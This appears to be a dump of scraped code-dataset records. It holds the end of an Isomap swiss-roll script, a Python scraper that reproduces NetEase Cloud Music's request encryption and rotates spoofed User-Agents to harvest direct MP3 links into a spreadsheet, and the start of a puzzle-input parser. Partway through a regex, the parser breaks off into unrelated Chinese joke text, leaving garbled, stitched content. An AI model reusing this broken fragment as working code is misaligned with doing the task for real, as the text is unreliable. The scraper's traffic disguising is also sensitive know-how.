G.shape[0]\n\n## Step 2: Using all pair shortest path algorithm, construct graph distance\n# matrix \nD = csgraph.shortest_path(csc_matrix(G))\nD2 = np.power(D, 2) # Using square for inner product\nH = np.eye(m) - np.ones((m,1)).dot(np.ones((1,m)))/m # Construct special centring matrix H\nDt = -0.5 * H.dot(D2) # Apply H to both sides of D2\nDt = Dt.dot(H)\n\n## Step 3: Low dim. representation that preserves distance information\nk = 10\nV, S, U = np.linalg.svd(Dt) # computes the k largest singular values and \n # associated singular vectors of distance matrix\n\n\n# Use the eigenvectors corresponding to the largest eigenvalue as 1st\n# coordinate and second larges eignevalue as 2nd coordinate\ndim1_new = V[:,0] * np.sqrt(S[0])\ndim2_new = V[:,1] * np.sqrt(S[1])\n\n# Plot scatter of the swiss roll dataset in reudced dimensions after isomap\n# analysis.\nplt.figure(2)\nplt.ion()\nplt.scatter(-dim1_new, -dim2_new, s= 18 * np.ones((1, 698)), c = y[1,:])\nplt.show()\nplt.ioff()\nplt.show()","sub_path":"Isomap/swiss_roll/test_isomap2.py","file_name":"test_isomap2.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"215996742","text":"# -*- coding: utf-8 -*-\n__author__ = \"dzt\"\n__date__ = \"2018/12/10 11:49\"\n\n\nimport requests\nimport os, json, base64\nfrom scrapy.selector import Selector\nfrom binascii import hexlify\nfrom Crypto.Cipher import AES\nimport random\nimport xlwt\nimport xlrd\n\nsep = '\\n'\nsep1 = '*'*50 + '\\n'\nsep2 = '\\n' + '*'*50 + '\\n\\n'\n\n# url = 'https://www.ximalaya.com/youshengshu/4202564/'\nAgent = [\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",\n \"Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 \",\n \"Mozilla/5.0 \"\n \"(Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14\",\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',\n \"Mozilla/5.0 \"\n \"(Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",\n 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',\n 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; '\n 'MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); '\n '.NET CLR 2.0.50727; InfoPath.1)',\n 'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; '\n 'FunWebProducts)',\n 'Mozilla/5.0 (X11; U; UNICOS lcLinux; en-US) Gecko/20140730 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0',\n 'Mozilla/5.0 (X11; U; Linux; pt-PT) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.4'\n ]\n\n\nclass Encrypyed():\n '''传入歌曲的ID，加密生成'params'、'encSecKey 返回'''\n def __init__(self):\n self.pub_key = '010001'\n self.modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7'\n self.nonce = '0CoJUm6Qyw8W8jud'\n\n def create_secret_key(self, size):\n return hexlify(os.urandom(size))[:16].decode('utf-8')\n\n def aes_encrypt(self, text, key):\n iv = '0102030405060708'\n pad = 16 - len(text) % 16\n text = text + pad * chr(pad)\n encryptor = AES.new(key, AES.MODE_CBC, iv)\n result = encryptor.encrypt(text)\n result_str = base64.b64encode(result).decode('utf-8')\n return result_str\n\n def rsa_encrpt(self, text, pubKey, modulus):\n text = text[::-1]\n rs = pow(int(hexlify(text.encode('utf-8')), 16), int(pubKey, 16), int(modulus, 16))\n return format(rs, 'x').zfill(256)\n\n def work(self, text):\n text = json.dumps(text)\n i = self.create_secret_key(16)\n encText = self.aes_encrypt(text, self.nonce)\n encText = self.aes_encrypt(encText, i)\n encSecKey = self.rsa_encrpt(i, self.pub_key, self.modulus)\n data = {'params': encText, 'encSecKey': encSecKey}\n # print(data)\n return data\n\n\nclass wangyiyun():\n def __init__(self):\n self.headers = {\n 'User-Agent': random.choice(Agent),\n 'Referer': 'http://music.163.com/'}\n self.main_url = 'http://music.163.com/'\n self.session = requests.Session()\n self.session.headers = self.headers\n self.ep = Encrypyed()\n\n def get_songurls(self, playlist):\n '''进入所选歌单页面，得出歌单里每首歌各自的ID 形式就是“song?id=64006\"'''\n url = self.main_url+'playlist?id=%d' % playlist\n re = self.session.get(url) #直接用session进入网页，懒得构造了\n sel = Selector(text=re.text) #用scrapy的Selector，懒得用BS4了\n songurls = sel.xpath('//ul[@class=\"f-hide\"]/li/a/@href').extract()\n return songurls #所有歌曲组成的list\n ##['/song?id=64006', '/song?id=63959', '/song?id=25642714', '/song?id=63914', '/song?id=4878122', '/song?id=63650']\n\n def get_songinfo(self, songurl):\n '''根据songid进入每首歌信息的网址，得到歌曲的信息\n return：'64006'，'陈小春-失恋王'''\n url = self.main_url+songurl\n re = self.session.get(url)\n sel = Selector(text=re.text)\n song_id = url.split('=')[1]\n songname = sel.xpath(\"//em[@class='f-ff2']/text()\").extract_first()\n singer = '&'.join(sel.xpath(\"//p[@class='des s-fc4']/span/a/text()\").extract())\n # songname = singer+'-'+song_name\n return str(song_id), songname, singer\n\n def get_url(self, ids, br=128000):\n '''self.ep.work输入歌曲ID，解码后返回data，{params 'encSecKey}\n 然后post，得出歌曲所在url'''\n text = {'ids': [ids], 'br': br, 'csrf_token': ''}\n data = self.ep.work(text)\n url = 'http://music.163.com/weapi/song/enhance/player/url?csrf_token='\n req = self.session.post(url, data=data)\n song_url = req.json()['data'][0]['url']\n return song_url\n\n def url_song(self, songurl, dir_path):\n '''根据歌曲url，获取mp3地址'''\n song_id, songname, singer = self.get_songinfo(songurl) # 根据歌曲url得出ID、歌名、歌手名\n song_url = self.get_url(song_id) # 根据ID得到歌曲的实质URL\n print(songname)\n print(song_url)\n return songname, song_url, singer\n\n\n def work(self, playlist):\n songurls = self.get_songurls(playlist) # 输入歌单编号，得到歌单所有歌曲的url\n dir_path = r''\n f = xlwt.Workbook()\n sheet1 = f.add_sheet(u'表1', cell_overwrite_ok=True)\n for songurl in songurls:\n a = songurls.index(songurl)\n songname, song_url, singer = self.url_song(songurl, dir_path)\n if song_url is None:\n continue\n sheet1.write(a, 0, songname) # 作品名称\n sheet1.write(a, 1, 12) # 分类\n sheet1.write(a, 2, song_url) # 资源url\n sheet1.write(a, 3, 1) # 初始年龄\n sheet1.write(a, 4, 99) # 结束年龄\n sheet1.write(a, 5, 1) # 语言范围\n sheet1.write(a, 6, '') # 作品简介\n sheet1.write(a, 7, singer) # 表演者/主播\n sheet1.write(a, 8, '') # 作者/作词者\n sheet1.write(a, 9, '') # 主角\n sheet1.write(a, 10, '') # 作曲者\n sheet1.write(a, 11, '') # 主要情节\n sheet1.write(a, 12, '') # 封面url\n a += 1\n new_imei_file = '%s.xls' % playlist\n f.save(new_imei_file)\n\nif __name__ == '__main__':\n d = wangyiyun()\n d.work(2204388891)\n\n","sub_path":"wangyiyun_mp3.py","file_name":"wangyiyun_mp3.py","file_ext":"py","file_size_in_byte":7073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"430598093","text":"#!/usr/bin/python3\n\nimport re\n\n\nPROPERTIES = ['children', 'cats', 'samoyeds', 'pomeranians', 'akitas', 'vizslas', 'goldfish', 'trees', 'cars', 'perfumes']\n\nFILTER = {\n \"children\": 3,\n \"cats\": 7,\n \"samoyeds\": 2,\n \"pomeranians\": 3,\n \"akitas\": 0,\n \"vizslas\": 0,\n \"goldfish\": 5,\n \"trees\": 3,\n \"cars\": 2,\n \"perfumes\": 1\n}\n\naunts = []\n\nwith open('input') as f:\n for line in f:\n line = line.strip()\n m = re.match('Sue (?P\\d+):', line)\n number = m.group('number')\n \n sue = { 'number': number }\n for m in re.finditer('(?P
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超级灵药

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　　\n # 汤姆早上老是睡过头，他的老板威胁说：如果再这样就要炒他鱿鱼。　　汤姆很着急，就去看医生，医生给了他一个药丸让他睡觉之前吃。　　这个晚上汤姆睡得很好，一大早就醒了，悠闲
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